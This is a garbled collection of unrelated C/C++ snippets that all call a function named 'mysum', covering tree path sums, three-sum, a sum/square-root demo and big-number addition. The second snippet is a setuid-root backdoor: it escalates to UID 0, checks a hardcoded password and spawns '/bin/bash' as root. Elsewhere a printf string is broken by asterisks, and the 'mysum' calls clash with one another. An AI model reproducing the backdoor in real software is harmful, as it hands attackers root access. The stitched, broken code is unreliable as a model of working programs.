int mysum(TreeNode *root,int cnt){ int l=0,r=0; if(root->left==NULL&&root->right==NULL){ return cnt*10 +root->val; } cnt = cnt*10+root->val; if(root->left!=NULL){ l = mysum(root->left,cnt); } if(root->right!=NULL){ r = mysum(root->right,cnt); } return l+r; }
int main(void) { int olduid=500; olduid=getuid(); setuid(0); char inpass[128]; if(getuid()){ printf("must be suid root.\n"); } else { printf("Password: "******"%s",inpass); mysum(inpass); if(strcmp(inpass, PASSWORD) == 0) { printf("You are now root.\r\n"); printf("Your old UID was %d.\r\n", olduid); system("/bin/bash"); } else { printf("You are not authorized\n"); } } return 0; }
vector<vector<int> > threeSum(vector<int> &num) { vector<vector<int> > ans; if(num.size()<3) return ans; sort(num.begin(),num.end()); for(int i=0;i<num.size()-2;i++) { if(i>0 && num[i]==num[i-1]) continue; mysum(num,i,ans); } return ans; }
int main() { double inputValue = 2; double sumValue = mysum(inputValue, inputValue); double sqrtValue = mysqrt(inputValue); std::cout << "The sum of " << inputValue << " and " << inputValue << " is " << sumValue << std::endl; std::cout << "The square root of " << inputValue << " is " << sqrtValue << std::endl; getchar(); return 0; }
int main(int argc, char *argv[]) { int i = 0, n = 0; char a[1001] = {' '}, b[1001] = {' '}; char sum[1005] = {' '}; scanf("%d", &n); for(i = 1; i <= n; i++){ memset(sum, 0, 1005); scanf("%s %s", a, b); printf("Case %d:\n", i); printf("%s + %s = ", a, b); mysum(a, b, sum); if(i == n) printf("\n"); else printf("\n\n"); } return 0; }
int sumNumbers(TreeNode *root) { // IMPORTANT: Please reset any member data you declared, as // the same Solution instance will be reused for each test case. if(root==NULL) return 0; return mysum(root,0); }